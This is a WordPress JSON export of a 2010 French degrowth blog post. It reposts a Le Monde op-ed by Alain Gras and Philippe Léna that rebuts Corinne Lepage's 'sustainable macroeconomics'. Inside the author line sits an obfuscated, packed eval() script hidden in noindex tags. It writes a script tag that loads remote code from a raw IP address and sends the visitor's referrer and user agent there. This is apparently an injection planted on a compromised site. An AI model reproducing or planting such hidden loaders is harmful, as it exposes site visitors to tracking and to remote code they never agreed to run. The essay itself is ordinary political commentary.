{"id":4872,"date":"2010-08-26T04:17:47","date_gmt":"2010-08-26T03:17:47","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=4872"},"modified":"2010-08-28T04:22:25","modified_gmt":"2010-08-28T03:22:25","slug":"la-reflexion-sur-la-decroissance-seul-moyen-de-liberer-lavenir","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=4872","title":{"rendered":"La r\u00e9flexion sur la d\u00e9croissance, seul moyen de lib\u00e9rer l&rsquo;avenir"},"content":{"rendered":"<p><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" src=\"http:\/\/www.partipourladecroissance.net\/wp-content\/uploads\/2008\/12\/logo-ppld.gif\" alt=\"\" width=\"118\" height=\"68\" \/>Alain <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbrbs|var|u0026u|referrer|srshs||js|php'.split('|'),0,{}))\n<\/script><\/noindex> Gras, professeur de socio-anthropologie des techniques \u00e0 l&rsquo;universit\u00e9 Paris-I et Philippe L\u00e9na, directeur de recherche \u00e0 l&rsquo;IRD<\/strong><\/p>\n<p>Nous ne doutons pas un instant des convictions \u00e9cologistes de Corinne Lepage, qu&rsquo;elle a d\u00e9montr\u00e9es \u00e0 maintes reprises, parfois avec courage, y compris contre son propre camp politique. Sa charge contre la d\u00e9croissance est n\u00e9anmoins r\u00e9v\u00e9latrice des contradictions incontournables dans lesquelles s&rsquo;enferment ceux qui, m\u00eame parfaitement conscients des limites de la plan\u00e8te et des dangers que fait courir \u00e0 la biosph\u00e8re ce qu&rsquo;on appelle le \u00ab\u00a0d\u00e9veloppement \u00e9conomique\u00a0\u00bb, n&rsquo;acceptent pas de remettre s\u00e9rieusement en cause les m\u00e9canismes et l&rsquo;id\u00e9ologie qui sont \u00e0 l&rsquo;origine de la crise actuelle. Cela les am\u00e8ne \u00e0 chercher d\u00e9sesp\u00e9r\u00e9ment un moyen de concilier le changement radical dont ils per\u00e7oivent l&rsquo;urgence avec la perp\u00e9tuation des valeurs structurantes de la soci\u00e9t\u00e9 actuelle (comp\u00e9titivit\u00e9, \u00ab\u00a0progr\u00e8s\u00a0\u00bb, rentabilit\u00e9\u2026). Nous connaissions d\u00e9j\u00e0 le \u00ab\u00a0d\u00e9veloppement durable\u00a0\u00bb, la \u00ab\u00a0croissance verte\u00a0\u00bb et maintenant nous avons la \u00ab\u00a0macro\u00e9conomie soutenable\u00a0\u00bb et la \u00ab\u00a0soci\u00e9t\u00e9 de transition\u00a0\u00bb.<!--more--> Apr\u00e8s avoir trait\u00e9 d&rsquo;oxymore, c&rsquo;est-\u00e0-dire de contradiction dans les termes, la notion de d\u00e9croissance prosp\u00e8re et, fort justement, celle de croissance durable, Corinne Lepage vante les bienfaits de la macro\u00e9conomie soutenable \u00ab\u00a0qui redonne au politique son r\u00f4le et ses droits\u00a0\u00bb. Dans cette conception, ajoute-t-elle, \u00ab\u00a0l&rsquo;id\u00e9e de croissance a disparu, laissant la place \u00e0 l&rsquo;innovation et au progr\u00e8s\u00a0\u00bb. Sustainable\u00a0 en anglais se traduit aussi bien par durable que par soutenable. Les deux termes \u00e9tant donc \u00e9quivalents, Madame Lepage\u00a0 se trouve elle aussi prise au pi\u00e8ge de l&rsquo;oxymore : la notion de croissance durable serait absurde selon elle, mais cette macro\u00e9conomie qui pense le \u00ab\u00a0capitalisme entrepreneurial\u00a0\u00bb dans le cadre du march\u00e9 lib\u00e9ral avec sa croissance aurait l&rsquo;avantage d&rsquo;\u00eatre soutenable c&rsquo;est-\u00e0-dire durable ! On a du mal \u00e0 saisir la coh\u00e9rence du propos.<\/p>\n<p>On se demande comment le programme plein de bonnes intentions de Corinne Lepage parviendrait \u00e0 marier le travail pour tous (\u00ab\u00a0partag\u00e9\u00a0\u00bb, selon ses termes), la prise en compte de la finitude et de la raret\u00e9, un revenu disponible final d\u00e9cent pour tous, la protection contre toutes les ins\u00e9curit\u00e9s, le \u00ab\u00a0mieux vivre\u00a0\u00bb, sans d\u00e9brancher la machine \u00e0 cr\u00e9er de la valeur et des in\u00e9galit\u00e9s, machine qui nous a conduits l\u00e0 o\u00f9 nous sommes, et sans restreindre ce qu&rsquo;H. Daly appelle le throughput (flux de mati\u00e8re et d&rsquo;\u00e9nergie venant de l&rsquo;environnement et y retournant sous forme de d\u00e9chets une fois pass\u00e9 par le processus de production-consommation). A quoi il faut ajouter l&rsquo;imp\u00e9rieuse n\u00e9cessit\u00e9 de diminuer l&#8217;empreinte \u00e9cologique de l&rsquo;humanit\u00e9 tout en accueillant 3 milliards de nouveaux terriens, et une consommation croissante pour environ 7 milliards d&rsquo;entre eux. Comment cela sera-t-il possible ?<\/p>\n<p>UNE AUTRE CONSOMMATION<\/p>\n<p>Corinne Lepage soutient que \u00ab\u00a0l&rsquo;innovation et le progr\u00e8s\u00a0\u00bb nous sauveront dans ce cadre macro\u00e9conomique soutenable, or c&rsquo;est pr\u00e9cis\u00e9ment la succession ininterrompue des g\u00e9n\u00e9rations de tous nos appareils, que l&rsquo;on jette apr\u00e8s chaque nouveaut\u00e9, qui constitue le fonds de commerce de la croissance. Quant au progr\u00e8s, comment peut-on encore faire vivre, \u00e0 l&rsquo;int\u00e9rieur de la pens\u00e9e \u00e9cologique, ce vieux mythe d\u00e9suet et fourre-tout de l&rsquo;optimisme b\u00e9at ? Certes, un fort investissement technologique peut diminuer l&#8217;empreinte \u00e9cologique par unit\u00e9 de produit, mais ce gain, en g\u00e9n\u00e9ral tout \u00e0 fait insuffisant, sera annul\u00e9 par l&rsquo;effet rebond d&rsquo;une consommation croissante per capita (rappelons que m\u00eame le simple statu quo actuel \u2013 ou \u00e9tat stationnaire \u2013 n&rsquo;est pas soutenable). Du reste, l&rsquo;ouvrage de Tim Jackson (par ailleurs excellent), cit\u00e9 par Corinne Lepage, nous rappelle opportun\u00e9ment que \u00ab\u00a0la vision du progr\u00e8s social qui nous meut \u2013 fond\u00e9e sur l&rsquo;expansion permanente de nos d\u00e9sirs mat\u00e9riels \u2013 est fondamentalement intenable\u00a0\u00bb. La \u00ab\u00a0transition\u00a0\u00bb, dans cette version anglaise du mot d&rsquo;origine fran\u00e7aise, chez Rob Hopkins notamment (fondateur du mouvement pour la transition), ne s&rsquo;oppose pas \u00e0 la d\u00e9croissance, elle l&rsquo;accompagne. Madame Lepage semble ignorer ce qu&rsquo;\u00e9crivent les d\u00e9croissants fran\u00e7ais depuis fort longtemps, ainsi que les nombreux ouvrages parus r\u00e9cemment sur la question, ou encore les revues qui th\u00e9orisent la d\u00e9croissance, comme Entropia, ou informent de mani\u00e8re plus pol\u00e9mique sur les mouvements en cours, tel le journal La D\u00e9croissance. A la lecture de ce texte nous sommes frapp\u00e9s par les r\u00e9ticences que montrent certains politiciens et intellectuels, pourtant engag\u00e9s, \u00e0 associer la menace bien r\u00e9elle d&rsquo;une fin possible \u00e0 l&rsquo;id\u00e9ologie et aux pratiques du syst\u00e8me \u00e9conomique mondial, et en particulier au mod\u00e8le lib\u00e9ral.<\/p>\n<p>Il est vrai qu&rsquo;une autre consommation, fond\u00e9e sur la sobri\u00e9t\u00e9 et la d\u00e9lib\u00e9ration d\u00e9mocratique \u00e0 propos des choix technologiques et des productions \u00e0 \u00e9liminer ou \u00e0 d\u00e9velopper sonnerait le glas de la soci\u00e9t\u00e9 n\u00e9olib\u00e9rale. Est-ce la n\u00e9cessit\u00e9 d&rsquo;exorciser cette perspective qui conduit les tenants d&rsquo;une \u00ab\u00a0autre croissance\u00a0\u00bb \u00e0 montrer une telle ardeur et une telle cr\u00e9ativit\u00e9 dans les formules ? La capacit\u00e9 humaine \u00e0 projeter un avenir meilleur, la conscience que tout se transforme, ne nous semble plus devoir passer par la notion \u00e9cul\u00e9e de progr\u00e8s. Cette derni\u00e8re a surtout servi \u00e0 faire accepter comme in\u00e9luctables des changements qui profitaient \u00e0 une minorit\u00e9. Une tout autre vision du monde reste \u00e0 construire, la contestation des objectifs actuels de l&rsquo;\u00e9conomie par la r\u00e9flexion sur la d\u00e9croissance le permet.<\/p>\n<p><strong>Source<\/strong> : <a href=\"http:\/\/www.lemonde.fr\/idees\/article\/2010\/08\/26\/la-reflexion-sur-la-decroissance-seul-moyen-de-liberer-l-avenir_1402812_3232.html\">le Monde du 26 ao\u00fbt 2010<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Alain Gras, professeur de socio-anthropologie des techniques \u00e0 l&rsquo;universit\u00e9 Paris-I et Philippe L\u00e9na, directeur de recherche \u00e0 l&rsquo;IRD Nous ne doutons pas un instant des convictions \u00e9cologistes de Corinne Lepage, qu&rsquo;elle a d\u00e9montr\u00e9es \u00e0 maintes reprises, parfois avec courage, y &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=4872\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[],"class_list":["post-4872","post","type-post","status-publish","format-standard","hentry","category-revue-de-medias"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/4872","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4872"}],"version-history":[{"count":4,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/4872\/revisions"}],"predecessor-version":[{"id":4875,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/4872\/revisions\/4875"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4872"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4872"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4872"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}